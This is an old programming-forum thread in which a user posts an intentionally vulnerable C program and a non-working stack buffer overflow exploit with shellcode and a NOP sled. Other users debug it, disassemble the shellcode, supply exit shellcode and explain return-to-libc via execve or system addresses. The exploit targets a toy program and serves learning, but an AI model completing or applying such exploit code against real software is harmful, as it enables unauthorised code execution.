stupid buffer overflow program doesnt work.. cant understand why..

Genjix · 2005-01-09T08:44:29

this is just a silly buffer overflow program i saw somewhere, which when i compiled didnt work! i cant understand why as everything seems to be in order. /*vuln.c*/ #include <string.h> int main(int argc , char **argv) { char buffer[500]; strcpy(buffer,argv[1]); return 0; } copy first argument to out of bounds buffer /*exploit.cpp*/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; unsigned long sp() { asm("movl %esp , %eax"); } int main(int argc , char **argv) { int i; /*looping variable*/ char buffer[601]; /*stores argv[1] for vuln*/ long ret = sp() - 500; /*vuln declared 500 chars*/ printf("esp : 0x%x\n",sp()); printf("esp offset : 0x%x\n",500); printf("ret address : 0x%x\n",ret); /*fill with return adress*/ for(i = 0 ; i <= 601 ; i += sizeof(long)) (long)buffer = ret; /*NOP*/ for(i = 0 ; i <= 202 ; i++) buffer = '\x90'; /*shellcode after NOP sled*/ memcpy(buffer + 202 - 1 , shellcode , strlen(shellcode)); /*fill end of array with nul for vulns strcpy*/ buffer[600] = 0; execl("./vuln","vuln",buffer,0); return 0; } i generated the shellcode string by using gdb to disassemble /lib/libc.so.6 and typing in the hex codes for the execl function. and i think my offsets to esp are correct.

Genjix

Author

100

December 28, 2004 12:25 PM

i compiled in hyperthreading when i upgraded to 2.6 :(. The only thing is if this where the case making a pointer point to a local variable and decrementing it shouldnt enable me to reach magic \177ELF,... should it?

C-Junkie

1,099

December 28, 2004 12:34 PM

A quick google doesn't suggest suse9.1 has any specil security features.

Therefore, I'm putting my money on two things.

1. Your shellcode is bad.
2. This line of code is completely wrong:

for(i = 0 ; i <= 601 ; i += sizeof(long))		(long)buffer = ret;

ParadigmShift

190

December 28, 2004 12:45 PM

Quote: Original post by C-Junkie
A quick google doesn't suggest suse9.1 has any specil security features.

Therefore, I'm putting my money on two things.

1. Your shellcode is bad.
2. This line of code is completely wrong:
for(i = 0 ; i <= 601 ; i += sizeof(long))		(long)buffer = ret;

Yeah, that's an interesting point - that code doesn't look right to me either. I am used to doing something like

*((long *)&buffer) = ret;

Stepping through in a nice debugger is the best way to catch these kinds of errors, although looking through the disassembly is good too. The compiler might detect that you're changing registers in a function and push them onto the stack to save them.

Tom

"E-mail is for geeks and pedophiles." -Cruel Intentions

Winograd

380

December 28, 2004 12:47 PM

I tried your exploit and it just exited normally when vuln was called via execl. Your shellcode did some systemcall at the end (exit?)- Here's the disassembly of the shellcode:

 000006A0:iEB17                           jmps      file:000006B9          =&gt;[0]000006A2:i5E                             pop       esi                   000006A3:i897608                         mov       [esi+08],esi                 000006A6:i31C0                           xor       eax,eax                      000006A8:i884607                         mov       [esi+07],al                  000006AB:i89460C                         mov       [esi+0C],eax                 000006AE:iB00B                           mov       al,0B                        000006B0:i89F3                           mov       ebx,esi                      000006B2:i8D4E08                         lea       ecx,[esi+08]                 000006B5:i31D2                           xor       edx,edx                      000006B7:iCD80                           int       80                           000006B9:iE8E4FFFFFF                     calln     file:000006A2           =&gt;[1]

Genjix

Author

100

December 28, 2004 01:04 PM

sizeof(long) = 4 or the size of a word, and just looking into my shellcode now and should have something in a little while.

Quote:
*((long *)&buffer) = ret;

isnt that the same as

	(long)buffer = ret;

im trying to atm find an assembly implementation of execve (syscall 11 or b)

[Edited by - Genjix on December 28, 2004 1:04:02 PM]

harry_x

138

December 28, 2004 01:47 PM

Quote: Original post by Genjix
(long)buffer = ret;

You can't cast lvalues like that, it has been deprecated by standard some time ago :)

Quote:
im trying to atm find an assembly implementation of execve (syscall 11 or b)

this should help you. http://www.lxhp.in-berlin.de/lhpsyscal.html
Note that you usually don't know absolute addresses of strings in memory, so you have to determine them. but you can determine them by using call and poping saved EIP adress from stack

Winograd

380

December 28, 2004 02:02 PM

In case you're intrested in addition information here's couple good links:
- Phrack.org: Smashing stack for fun and profit
- Defeating Solar Designer's Non-executable Stack Patch

Why do you determine the return address in the exploit.cpp like that? I mean, shouldn't you determine the return address via debugger when running the vuln and hardcode it in the shellcode or something?

Winograd

380

December 28, 2004 02:22 PM

Another question:

Wouldn't it be a whole lot easier to create non-executable buffer overflow exploit? Just create shellcode which contains the return address to a function and the parameters for it. For example when I compile and link vuln.cpp the execve gets loaded to address 0xa7f50df6. Use this address as return address...

Genjix

Author

100

December 28, 2004 02:39 PM

i think the shellcode is wrong...

i used this shellcode instead (exit) and it didnt seg fault

/*7 byte  exit(); shellcode*/char scex[] =	"\x31\xc0"		"\x40"		"\x31\xdb"		"\xcd\x80";

im just going to try writing to stdout now (but im not sure if itll be successful because as harry_x said, im thinking of just including them in the text section in the shellcode and using a jmp).

Quote:
Wouldn't it be a whole lot easier to create non-executable buffer overflow exploit? Just create shellcode which contains the return address to a function and the parameters for it. For example when I compile and link vuln.cpp the execve gets loaded to address 0xa7f50df6. Use this address as return address...

so are you saying to jump to a function within exploit when i load vuln from within exploit?

Winograd

380

December 28, 2004 02:50 PM

Quote: Original post by Genjix
Quote:
Wouldn't it be a whole lot easier to create non-executable buffer overflow exploit? Just create shellcode which contains the return address to a function and the parameters for it. For example when I compile and link vuln.cpp the execve gets loaded to address 0xa7f50df6. Use this address as return address...

so are you saying to jump to a function within exploit when i load vuln from within exploit?

No. When you run vuln within exploit it is a new distinct process and they do not share memory in anyway. I'm saying that when vuln is loaded, the dynamic linker loads the _whole_ libc library also. The symbols of the library are located at static addresses so you can use debugger to look up the address of the symbol of your choice. With gdb you could just do: info address execve, to find address of execve.
Feed this address as return address for vulns main function and stick the parameters with it.

Usually when this technique is used one calls the mighty system function.

stupid buffer overflow program doesnt work.. cant understand why..

This topic is closed to new replies.

Popular Topics

Recommended Tutorials

stupid buffer overflow program doesnt work.. cant understand why..

This topic is closed to new replies.

Popular Topics

Recommended Tutorials

Reticulating splines